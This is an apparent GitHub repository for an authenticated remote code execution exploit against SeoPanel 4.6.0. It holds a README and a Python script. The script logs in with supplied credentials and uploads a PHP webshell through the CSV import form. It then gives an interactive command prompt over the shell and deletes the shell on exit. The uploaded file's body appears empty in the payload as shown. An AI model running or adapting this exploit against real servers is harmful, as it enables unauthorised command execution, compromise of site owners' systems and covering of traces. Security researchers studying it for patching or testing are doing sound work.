├── requirements.txt ├── example-run-exploit.gif ├── README.md └── exploit.py /requirements.txt: -------------------------------------------------------------------------------- 1 | argparse 2 | termcolor 3 | requests 4 | -------------------------------------------------------------------------------- /example-run-exploit.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kr0ff/SeoPanel-4.6.0-RCE/main/example-run-exploit.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SeoPanel-4.6.0-RCE 2 | SeoPanel 4.6.0 is vulnerable to authenticated remote code execute 3 | 4 | For testing, the vulnerable version can be downloaded from here: https://www.seopanel.org/spdownload/4.6.0. 5 | 6 | The script is capable of self-cleaning after the webshell is uploaded. Upon ctrl+c a request will be sent to remove the webshell from the server. 7 | 8 | ## Installing prerequisites 9 | ```shell 10 | pip install -r requirements.txt 11 | ``` 12 | 13 | ## Example: 14 | ![example_run_exploit](example-run-exploit.gif) 15 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ''' 4 | DESCRIPTION: 5 | - SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload 6 | 7 | FIXED: 8 | - ver 4.7.0 9 | 10 | AUTHOR: 11 | - Kr0ff 12 | ''' 13 | #https://asciiart.website/index.php?art=animals/bats 14 | 15 | try: 16 | import requests 17 | import argparse 18 | import sys 19 | from termcolor import colored 20 | from time import sleep 21 | except ImportError as e: 22 | print(colored("[ERROR]: ", "red"), f"{e}") 23 | 24 | def arty(): 25 | artz = """ 26 | HAPPY HALLOWEEN ! 27 | ....._ 28 | `. ``-. .-----.._ 29 | `, `-. .: /` 30 | : `".. ..-`` : 31 | / ...--:::`n n.`::... : 32 | `:`` .` :: / `. ``---..:. 33 | `\ .` ._: .-: :: `. .-`` 34 | : : :_\\_/: : .:: `. / 35 | : / \-../:/_.`-` \ : 36 | :: _.._ q` p ` /` \| 37 | :-` ``(_. ..-----hh``````/-._: 38 | `: `` / ` 39 | E: / 40 | : _/ 41 | : _..-`` 42 | l--`` 43 | ---------------------------------------------------------- 44 | _ 45 | ___ ___ ___ ___ __ ___ ___| |___ ___ ___ 46 | |_ -| -_| . | . ||. | | -_| | _| _| -_| 47 | |___|___|___| _|___|_|_|___|_|_| |___|___| 48 | |_| 4.6.0 49 | 50 | @Kr0ff 51 | ---------------------------------------------------------- 52 | """ 53 | print(artz) 54 | 55 | #Initialize requests to create a session 56 | r = requests.session() 57 | 58 | #Create a login for the user 59 | def login(TARGET, USER, PASS): 60 | data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""} 61 | headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"} 62 | req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False) 63 | if req.status_code == 200: 64 | print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n") 65 | else: 66 | print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n") 67 | print("Please check if you are providing the right path to 'seopanel' or if server is live...") 68 | get_ch = req.headers.get("Set-Cookie") 69 | return get_ch 70 | 71 | #Upload the webshell to target server 72 | def exploit(TARGET, USER, PASS): 73 | login(TARGET, USER, PASS) 74 | headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"} 75 | payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n" 76 | req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False) 77 | if req0.status_code == 200: 78 | print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n") 79 | else: 80 | print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n") 81 | print("Please check if you are providing the right path or if server is live...") 82 | 83 | while(1): 84 | try: 85 | p = input("$> ") 86 | shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}" 87 | control = r.get(shell_url, headers=headers, verify=False) 88 | if control.status_code == 200: 89 | print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n") 90 | print(control.text) 91 | else: 92 | print(colored("[ERROR]","red"), "Shell not uploaded... :(") 93 | print("Status code ->", colored(control.status_code, "red")) 94 | sys.exit(0) 95 | except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec 96 | cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php" 97 | requests.get(cleanup, headers=headers, verify=False) 98 | sleep(1) 99 | print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !") 100 | break 101 | 102 | #Initilize parser for arguments 103 | def parse_argz(): 104 | parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload') 105 | parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str) 106 | parser.add_argument("-u", "--user", help="Username to login as", type=str) 107 | parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str) 108 | #args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided 109 | args = parser.parse_args(args=None) 110 | 111 | if not args.target or not args.user or not args.passwd: 112 | parser.error(colored("[WARNING]","yellow"), "Not all arguments provided") 113 | sys.exit(1) 114 | else: 115 | TARGET = str(args.target) 116 | USER = str(args.user) 117 | PASS = str(args.passwd) 118 | exploit(TARGET, USER, PASS) 119 | 120 | if __name__ == "__main__": 121 | try: 122 | arty() 123 | parse_argz() 124 | except Exception as e: 125 | print(colored("[ERROR]","red"), f"-> {e}") 126 | sys.exit(1) --------------------------------------------------------------------------------